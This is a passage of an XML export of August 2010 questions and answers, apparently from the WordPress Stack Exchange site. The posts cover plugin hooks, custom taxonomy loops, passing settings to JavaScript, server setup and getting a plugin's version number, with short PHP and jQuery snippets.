  <row Id="341" PostTypeId="2" ParentId="218" CreationDate="2010-08-14T02:24:35.687" Score="0" ViewCount="" Body="&lt;p&gt;I am on a shared host so I can't install SVN or anything like that. I use Mercurial to version-control on my home machine. I use Beyond Compare's FTP-sync to keep the local and remote folders in sync.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2010-08-14T02:24:35.687" />
  <row Id="342" PostTypeId="2" ParentId="322" CreationDate="2010-08-14T02:31:29.273" Score="1" ViewCount="" Body="&lt;p&gt;@Jan Fabry: You are probably going to need to tackle each case separately, i.e. the Blogger hosted images and the ones outside wp-content, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a plugin for importing from Blogger; it hasn't been updated in a while but may still work or at least have code you can use: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/blogger-image-import/&quot; rel=&quot;nofollow&quot;&gt;Blogger Image Import Plugin&lt;/a&gt; (&lt;a href=&quot;http://notions.okuda.ca/wordpress-plugins/blogger-image-import/&quot; rel=&quot;nofollow&quot;&gt;notes&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's also an older plugin that may or may not still work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/import-legacy-media/&quot; rel=&quot;nofollow&quot;&gt;Import Lagacy Media&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Beyond that I think you'll just need to write a PHP script that scans your files and scans your posts looking for embedded image URLs, develops an intersected list and then moves the files and updates the reference in the post. Or maybe you'll get lucky and that plugin will still work and do it for you! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-14T02:31:29.273" />
  <row Id="343" PostTypeId="2" ParentId="1" CreationDate="2010-08-14T11:57:46.280" Score="3" ViewCount="" Body="&lt;p&gt;Here you go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_awesome_tag_fixer( $input ){&#xA;  return preg_replace( '/(&amp;lt;.+)\s\/&amp;gt;/', '$1&amp;gt;', $input );&#xA;}&#xA;&#xA;foreach( array('the_content', 'the_excerpt', 'comment_text') as $filter )&#xA;  add_filter( $filter, 'my_awesome_tag_fixer', 12 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not the most elegant solution, but it gets it done a lot quicker than rewriting wpautop and wptexturize.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-14T11:57:46.280" CommentCount="1" />
  <row Id="344" PostTypeId="2" ParentId="301" CreationDate="2010-08-14T13:48:04.673" Score="1" ViewCount="" Body="&lt;p&gt;Small world :). You won't see a lot of issues with Nginx and Apache + Wordpress. We use it for our company as well, and we have no problem getting one server to serve 200k uniques/month and over a million pageviews/month for one site. Nginx + W3 Total Cache, you get some very remarkable numbers. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-08-14T13:48:04.673" CommentCount="1" />
  <row Id="345" PostTypeId="2" ParentId="324" CreationDate="2010-08-14T14:31:49.840" Score="1" ViewCount="" Body="&lt;p&gt;On my PC:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;XAMPP for local dev&lt;/li&gt;&#xA;&lt;li&gt;Winscp for SFTP/FTP&lt;/li&gt;&#xA;&lt;li&gt;Git for version control&lt;/li&gt;&#xA;&lt;li&gt;Sublime for editing text&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;On my Mac&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Transmit for SFTP/FTP&lt;/li&gt;&#xA;&lt;li&gt;MAMP for local Dev&lt;/li&gt;&#xA;&lt;li&gt;Textmate for coding&lt;/li&gt;&#xA;&lt;li&gt;Terminal for working with Git&lt;/li&gt;&#xA;&lt;li&gt;Gitx for the odd visual view of Git repos&lt;/li&gt;&#xA;&lt;li&gt;Snippets for storing my code snippets&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-08-14T14:31:49.840" CommunityOwnedDate="2010-08-14T14:31:49.840" />
  <row Id="346" PostTypeId="1" AcceptedAnswerId="425" CreationDate="2010-08-14T14:37:31.980" Score="2" ViewCount="1448" Body="&lt;p&gt;While I've been able to get this working for normal WP categories I've been unable to get it working for custom taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to loop through each custom taxonomy (categories in my case) and produce a number of posts for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of the output would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Category 1&#xA;&#xA;post from category one&#xA;post from category one&#xA;&#xA;read more category one&#xA;&#xA;&#xA;Category 2&#xA;&#xA;post from category two&#xA;post from category two&#xA;&#xA;read more category two&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course it would repeat through any available taxonomy for the custom post type.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-08-16T22:20:03.750" Title="Loop through custom taxonomies and display posts" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="347" PostTypeId="2" ParentId="214" CreationDate="2010-08-14T14:47:26.357" Score="2" ViewCount="" Body="&lt;p&gt;Auto update doesn't always work, it almost always works. I'd just upgrade manually and not worry about it. The few times I've had an auto update failure it succeeds the next time a new version comes out (after I'm manually updated during the breakage).&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-08-14T14:47:26.357" />
  <row Id="348" PostTypeId="2" ParentId="299" CreationDate="2010-08-14T15:43:46.073" Score="2" ViewCount="" Body="&lt;p&gt;Have look at the next gen gallery it does good job intergation&lt;/p&gt;&#xA;" OwnerUserId="176" LastActivityDate="2010-08-14T15:43:46.073" CommunityOwnedDate="2010-08-14T15:43:46.073" />
  <row Id="349" PostTypeId="2" ParentId="214" CreationDate="2010-08-14T15:50:40.173" Score="0" ViewCount="" Body="&lt;p&gt;Check the Owner of the file/s you may have it set 777 but if the ftp service is not in the owner group or the owner this may your problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to telnet into the web server to check/fix this us ls -l to see the settings chown is the how you change it&lt;/p&gt;&#xA;" OwnerUserId="176" LastActivityDate="2010-08-14T15:50:40.173" CommentCount="1" />
  <row Id="350" PostTypeId="2" ParentId="62" CreationDate="2010-08-14T17:36:42.717" Score="1" ViewCount="" Body="&lt;p&gt;I've just added BuddyPress to a clean WordPress 3.0.1 install to try and find a suitable plugin, and I could simply embed images by using standard HTML tags:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;img src=&quot;YOUR_IMG&quot; /&amp;gt;&lt;/code&gt;, where &lt;code&gt;YOUR_IMG&lt;/code&gt; is the URL of your image, embeds an image inline into a post.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-08-14T17:36:42.717" />
  <row Id="351" PostTypeId="1" AcceptedAnswerId="357" CreationDate="2010-08-14T19:02:03.780" Score="3" ViewCount="256" Body="&lt;p&gt;I have a plugin that, among other things, has a javascript file that requires a few user specific settings. What would be the best way to get those settings into javascript from the plugin's settings parameters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if I make those settings part of the settings page where the user can enter them, how would I best be able to get those values into javascript? Would I have to use something to append some script tags and set them via PHP on every page load? Would setting a cookie be a better way to do this?&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2010-08-14T19:43:40.550" Title="Modifying a JS file with data from plugin settings" Tags="&lt;plugins&gt;&lt;javascript&gt;&lt;settings&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" />
  <row Id="352" PostTypeId="1" AcceptedAnswerId="360" CreationDate="2010-08-14T19:10:22.670" Score="5" ViewCount="162" Body="&lt;p&gt;I'm working on a plugin that would ideally be able to do things when a user does something through a &lt;em&gt;different&lt;/em&gt; plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can add custom hooks in those plugins but obviously this wouldn't work well for when I want to distribute my plugin. Is there a good way to add hooks to other people's plugins from my own plugin? Is the only real solution to ask the author to include custom hooks so that other developers can build off of their work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: I want to do something in my plugin when someone retweets an article. If there was a custom hook in whatever the popular retweet plugin is that I could hook in to and fire off of, that would be great. There isn't, so I can modify their plugin to include it, but that only works for my copy, and I don't want to try to redistribute that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do we just need to try and be better plugin developers so that we can all play nice together?&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2010-08-14T21:45:10.963" Title="Hooking in to plugins" Tags="&lt;plugins&gt;&lt;hooks&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="1" />
  <row Id="353" PostTypeId="2" ParentId="351" CreationDate="2010-08-14T19:25:09.703" Score="1" ViewCount="" Body="&lt;p&gt;There are a couple of ways that you could do this, one of which I've done before, the other I haven't, but I have used for XML configuration files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first one is to include the variables in a script tag inside the WP header or footer, before the script tag where you include your JS file, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    var test = &quot;&amp;lt;?php echo &quot;hello world&quot;; /* the relevant PHP code to echo the data you require */ ?&amp;gt;&quot;;&#xA;    var slider_type = &quot;&amp;lt;?php echo &quot;nivo&quot;; /* same again */ ?&amp;gt;&quot;;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo(&quot;template_url&quot;); ?&amp;gt;/js/your_js_here&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other alternative would be to include the JS inside of a PHP file which is included inside of a script tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/javascripts.php&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside this file you would include your javascript, and as PHP would parse it you would be able to include PHP calls in a similar fashion to above, simply echoing out the data/options which you require. One thing to note is that you might need to set the headers for the output as &lt;code&gt;text/javascript&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I much prefer the first method, and is what I use when I have user changeable settings which affect javascript files.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-08-14T19:25:09.703" CommentCount="1" />
  <row Id="354" PostTypeId="2" ParentId="261" CreationDate="2010-08-14T19:32:46.987" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.blogdesk.org/&quot; rel=&quot;nofollow&quot;&gt;BlogDesk&lt;/a&gt; was used from mayn users&#xA;&lt;img src=&quot;http://i.imgur.com/Ncldm.gif&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Program description      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an offline weblog client, BlogDesk lets you comfortably write and effortlessly publish new entries to your blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need to use those annoying HTML Tags in the WYSIWYG editor. Images can be directly inserted and are automatically uploaded. Even publishing simultaneously to multiple blogs is a matter of a click.     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the ImageWizard you can not only insert images to your posts - it's possible to edit them as well (crop, resize, rotate, shadow etc., see Examples). Even Thumbnails can be created - the preview will be shown in the blog and a click on the image will open it in its original size (just like here in the right column). Linking and uploading those images is automatically done by BlogDesk.     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reduced view leaves more space for the actual post and helps to focus on the content. Especially inexperienced users appreciate a clean workspace without to much distraction.      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The BlogWizards helps to configure your blog. With pre-defined blog systems you can access your blog after a few seconds.       &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links can be easily inserted and edited. If you link to local files (such as MP3 or PDF), BlogDesk will automatically upload them.      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dictionaries in 14 languages are available for the integrated spell checker.        &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posts already published can be edited afterwards and deleted directly from the server.      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frequently Used Phrases are an enormous time-saver for often used phrases, sentences, acronyms or complex formulations.         &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tags-Generator lets you easily define and insert tags instead of retyping them over and over again. WordPress-Tags are supported, too. You can also set so called Custom Fields.        &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Notebook you can insert and rearrange text before you actually use it in your weblog entry. For your convenience you can create multiple categories where text can be saved separatley.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-14T19:32:46.987" CommunityOwnedDate="2010-08-14T19:32:46.987" />
  <row Id="355" PostTypeId="2" ParentId="352" CreationDate="2010-08-14T19:35:01.350" Score="0" ViewCount="" Body="&lt;p&gt;define a function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_footer() {&#xA;    do_action('my_footer');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now you can hook on this hook: &lt;code&gt;add_action('my_footer', 'example_function', 1);&lt;/code&gt;#&#xA;more informations see on &lt;a href=&quot;http://wpengineer.com/1302/define-your-own-wordpress-hooks/&quot; rel=&quot;nofollow&quot;&gt;my post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2010-08-14T21:44:22.443" LastActivityDate="2010-08-14T21:44:22.443" CommentCount="3" />
  <row Id="356" PostTypeId="2" ParentId="352" CreationDate="2010-08-14T19:37:32.373" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Do we just need to try &lt;s&gt;and&lt;/s&gt; &lt;strong&gt;to&lt;/strong&gt; be better plugin developers so that we can all play nice together?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For starters, yes. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the only real solution to ask the author to include custom hooks so that other developers can build off of their work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That would be a good solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also copy the other plugin and just add any changes, though that would be more hassle.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2010-08-14T19:37:32.373" />
  <row Id="357" PostTypeId="2" ParentId="351" CreationDate="2010-08-14T19:43:40.550" Score="4" ViewCount="" Body="&lt;p&gt;better is, you use the functions of WP for this, a example for multilanguage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action( 'admin_enqueue_scripts', 'add_scripts' );&#xA;    function add_scripts($where) {&#xA;        wp_localize_script( 'post2media', 'post2media_strings', $this-&amp;gt;localize_vars() );&#xA;    }&#xA;    function localize_vars() {&#xA;&#xA;        $strings = array(&#xA;                'btntext'    =&amp;gt; __( 'Link with post', INPSYDE_P2M_TEXTDOMAIN ),&#xA;                'txtallnone' =&amp;gt; __( 'Include in gallery:', INPSYDE_P2M_TEXTDOMAIN ),&#xA;                'txtall'     =&amp;gt; __( 'All', INPSYDE_P2M_TEXTDOMAIN ),&#xA;                'txtnone'    =&amp;gt; __( 'None', INPSYDE_P2M_TEXTDOMAIN ),&#xA;                'ttlcb'      =&amp;gt; __( 'Include image in this gallery', INPSYDE_P2M_TEXTDOMAIN )&#xA;            );&#xA;&#xA;        return $strings;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;use this in js-file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function ($) {&#xA;buttonaddfunc = function() {&#xA;    btntext = post2media_strings.btntext;&#xA;&#xA;    reg = /\d+/;&#xA;    $( '.savesend &amp;gt; .button' ) . each( function() {&#xA;        inputname = $( this ) . attr( 'name' );&#xA;        number = reg . exec( inputname );&#xA;        $( this ) . after( '&amp;lt;input type=&quot;submit&quot; value=&quot;' + btntext + '&quot; name=&quot;link[' + number + ']&quot; class=&quot;button&quot;&amp;gt;' );&#xA;    } );&#xA;    $( '.describe-toggle-on' ).unbind( 'click', buttonaddfunc );&#xA;};&#xA;$( '.describe-toggle-on' ).bind( 'click', buttonaddfunc );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;} );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see the &lt;a href=&quot;http://ottopress.com/2010/dont-include-wp-load-please/&quot; rel=&quot;nofollow&quot;&gt;post from Otto&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-14T19:43:40.550" CommentCount="4" />
  <row Id="358" PostTypeId="2" ParentId="352" CreationDate="2010-08-14T19:44:39.987" Score="1" ViewCount="" Body="&lt;p&gt;I think you answer your question in the question, so that it becomes somewhat rhetorical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously you're talking about a similar system to the one Google encourages with Android and the Intent system, that an application can publish actions which it is capable of doing on behalf of other applications, which can then hook into them and pass data back and forth. Personally I think it is something which we need to head towards as good developers - we use WordPress because it's already awesome, awesome enough to make the decision over whether to use it or develop a similar in-house product pretty easy in most cases. The plugin repository itself is again the same thing, mostly as an end user + developer - why develop a twitter plugin when there is a perfectly good one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same 'why develop duplicates' is at the crux of your question here. The Android Intent system allows applications to utilise already created functions, and pass data between them, and this is popular and often used, because it is pushed so heavily. There is a similar system already implemented into WordPress, but is very rarely used beyond the hooks present in the core code, which are used a great deal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would benefit the community if more hooks in custom plugins were present, but as you say, there's no easy way to add hooks in when/where you need them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of the Twitter plugin you want to hook into, send the author an email, I'm sure he would be happy to add them in for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's a place you think would be a good place to put a hook into in your plugin, do it, and document it well. If more people start to put hooks into plugins, or there is a general push towards doing so, it will happen eventually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your ending question of:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do we just need to try and be better plugin developers so that we can all play nice together?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit: I've thought some more about the actual question and the best way of implementing hooks, couldn't you add an action that would run if the particular function you are trying to run of the plugin was present?&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-08-14T19:44:39.987" CommentCount="3" />
  <row Id="359" PostTypeId="2" ParentId="346" CreationDate="2010-08-14T21:28:28.993" Score="0" ViewCount="" Body="&lt;p&gt;Please check this example; create a own loop for your taxonomie. You can also use this in a foreach-loop to use all categories. Or you must create an own sql-query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$taxonomies = get_the_term_list($post-&amp;gt;ID, 'YOUR_TAXONOMIE', '', '', '');&#xA;$taxonomies = explode('&amp;gt;', $taxonomies);&#xA;$taxonomies = $taxonomies[1];&#xA;$myq = new WP_Query('your_taxonomie = '.$taxonomies); &#xA;if ($myq-&amp;gt;have_posts()) : while ($myq-&amp;gt;have_posts()) : $myq-&amp;gt;the_post(); // the loop ?&amp;gt;&#xA;&#xA;            &amp;lt;?php the_title();?&amp;gt;&#xA;            &amp;lt;?php the_content();?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; else:?&amp;gt;&#xA;&#xA;&amp;lt;?php endif;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-14T21:28:28.993" />
  <row Id="360" PostTypeId="2" ParentId="352" CreationDate="2010-08-14T21:45:10.963" Score="4" ViewCount="" Body="&lt;p&gt;@Ryan Elkins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the answer depends on how import each use-case is to you. In some cases it would be something you need quick-and-dirty, in others it might be a more significant use-case. Here are the two things that come to mind:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Look for Alternate Hooks within WordPress Core&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If it's something quick and dirty some times you can use other downstream hooks from core to modify what you need, or both upstream and downstream hooks via the use of &lt;code&gt;ob_start()&lt;/code&gt;/&lt;code&gt;ob_end_clean()&lt;/code&gt; (see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/272/dealing-with-large-html-output-via-plugin-code#answer-279&quot;&gt;@Todd Perkins answer&lt;/a&gt; to &quot;&lt;em&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/272/dealing-with-large-html-output-via-plugin-code&quot;&gt;Dealing with large HTML output via plugin code&lt;/a&gt;&lt;/em&gt;&quot; for a code example.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To track down the hooks you could use check out the &lt;a href=&quot;http://wordpress.stackexchange.com/questions/307/list-of-wordpress-hooks#answer-339&quot;&gt;Instrument Hooks plugin&lt;/a&gt; I posted yesterday to help you find the hooks that you can potentially use.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Submit a Patch with your Desired Hook to the Plugin Developer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If your use-case is more significant to you or the community  I'd recommend going ahead and adding the hook that you need to the plugin. Then test it well to ensure it really addresses your use-case after which you can submit a patch to the plugin developer in hopes that he or she will apply it. This way you make it as easy as possible on them by giving them tested code and you get to work through the use-case yourself to ensure it is really what you need. I can't tell you how often I thought I needed a certain hook only to find after trying to implement one I needed a hook but one that was different than I first envisioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not familiar with creating a patch here is a good article on patching WordPress core for which most applies to patching plugins and for that which does not it will hopefully be obvious what to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://asymptomatic.net/2005/12/03/586/how-to-patch-wordpress&quot; rel=&quot;nofollow&quot;&gt;How to Patch WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this helps?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. One thing I find a bit disappointing and that your question addresses is the percentage of plugins that are designed only for end-users, i.e. that have no hooks of their own. Imagine if WordPress were designed like most plugins? It would be inflexible and a very niche solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe things would be different if WordPress were to have the ability to auto-install plugins on which other plugins depended? As it is I typically have to write a lot of the functionality I need from scratch because clients want things a certain way and the available plugins, while 90% there don't allow me the flexibility to update the remaining 10%. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really do wish those leading the WordPress community would identify a way to ensure that plugins are rewarded for following best practices (such as adding in hooks for other developers) much like good answers are rewarded on a StackExchange site.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-14T21:45:10.963" />
  <row Id="361" PostTypeId="1" AcceptedAnswerId="371" CreationDate="2010-08-14T23:13:33.960" Score="3" ViewCount="139" Body="&lt;p&gt;Is there an API I can call, inside my plug-in, to determine the plug-in's version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to have my plug-in emit a html comment with it's own version number ... for diagnostic purposes.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2010-08-15T05:57:00.370" Title="Is there a way for a plug-in to get it's own version number?" Tags="&lt;plugin-development&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="362" PostTypeId="2" ParentId="192" CreationDate="2010-08-14T23:16:43.957" Score="2" ViewCount="" Body="&lt;p&gt;Don't know if this will give you everything you're looking for, but I like &lt;a href=&quot;http://alexking.org/projects/wordpress&quot; rel=&quot;nofollow&quot;&gt;Twitter Tools&lt;/a&gt; by Alex King.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2010-08-14T23:16:43.957" CommentCount="1" />
  <row Id="364" PostTypeId="2" ParentId="324" CreationDate="2010-08-14T23:19:46.057" Score="3" ViewCount="" Body="&lt;p&gt;For plug-in development, I use &lt;a href=&quot;http://www.eclipse.org/downloads/packages/eclipse-php-developers/heliosr&quot; rel=&quot;nofollow&quot;&gt;Eclipse&lt;/a&gt; for PHP development.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2010-08-14T23:19:46.057" CommunityOwnedDate="2010-08-14T23:19:46.057" />
  <row Id="366" PostTypeId="2" ParentId="361" CreationDate="2010-08-15T01:42:41.713" Score="1" ViewCount="" Body="&lt;p&gt;There is in the admin screens: &lt;code&gt;get_plugin_data()&lt;/code&gt;. In templates, I think you will need the plugin to hold that data in PHP, e.g., set a constant or global or something, and keep that value synchronized with the plugin header version number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp-settings.php&lt;/code&gt; calls &lt;code&gt;wp_get_active_and_valid_plugins()&lt;/code&gt;, which pulls data from the &lt;code&gt;active_plugins&lt;/code&gt; site option. This option only contains the path to the plugin file, and &lt;code&gt;wp-settings.php&lt;/code&gt; only runs &lt;code&gt;include_once&lt;/code&gt; on the file, so it's never parsed for the plugin metadata.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-15T01:42:41.713" />
  <row Id="367" PostTypeId="2" ParentId="361" CreationDate="2010-08-15T01:47:45.630" Score="2" ViewCount="" Body="&lt;p&gt;You can parse your plugin's meta data (that stuff at the top of the file), but it's better for performance if you just set your own PHP variable with a matching version number. When you update the plugin, just update both version numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's slightly more work for you in the short term, but a lot better in the long term.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-08-15T01:47:45.630" />
  <row Id="368" PostTypeId="2" ParentId="301" CreationDate="2010-08-15T01:53:49.987" Score="1" ViewCount="" Body="&lt;p&gt;The biggest difference is rewrite rules, but there are plenty of guides out there (such as the ones Mike linked) that provide you with equivalent rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a plugin perspective, unless the plugin is doing something &lt;strong&gt;really&lt;/strong&gt; crazy, then it shouldn't know the difference. All internal rewrite rules and that sorta stuff is handled at the WordPress level, independently of your HTTPD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, go for it.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-08-15T01:53:49.987" CommentCount="1" />
  <row Id="369" PostTypeId="2" ParentId="317" CreationDate="2010-08-15T03:53:34.393" Score="1" ViewCount="" Body="&lt;p&gt;If you want to have multiple blogs &quot;on one site&quot;, do you mean each having a separate page?  If so, you should &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;create a network&lt;/a&gt; using subdirectories.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-15T03:53:34.393" CommentCount="2" />
  <row Id="370" PostTypeId="1" CreationDate="2010-08-15T05:25:29.073" Score="2" ViewCount="294" Body="&lt;p&gt;Does anyone know of a wordpress plugin that will pull in photos from multiple flickr group pools, and display random thumbnails in the sidebar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a ton of flickr plugins, and I just can't seem to find one that'll support multiple group pools.&#xA;Something that will accept multiple rss feeds and display pictures from all of them would also be acceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2010-08-31T18:37:22.333" Title="Flickr plugin that will display photos from multiple group pools?" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;flickr&gt;&lt;pictures&gt;&lt;sidebar&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="371" PostTypeId="2" ParentId="361" CreationDate="2010-08-15T05:57:00.370" Score="7" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@david&lt;/strong&gt;: Both @Adam Backtrom and @Viper007Bond give some good advice so I thought I'd take their advice and see if I couldn't implement something, see below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What follows iS a plugin called &lt;strong&gt;&lt;em&gt;WP Active Plugins Data&lt;/em&gt;&lt;/strong&gt; that parses the header metadata for all active plugins anytime any plugin is activated and it stores all the metadata for each plugin into an array option in &lt;code&gt;wp_options&lt;/code&gt;. I designed it for both regular WordPress plugins and multisite site-wide plugins. You can &lt;a href=&quot;http://gist.github.com/525130&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;download it here from gist&lt;/strong&gt;&lt;/a&gt; but I've also copied the code here for your review:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: WP Active Plugins Data&#xA;Plugin URI: http://mikeschinkel.com/wordpress-plugins/wp-active-plugins-data/&#xA;Description: Loads Plugin Data on Plugin Activation and Persists to wp_options for quick 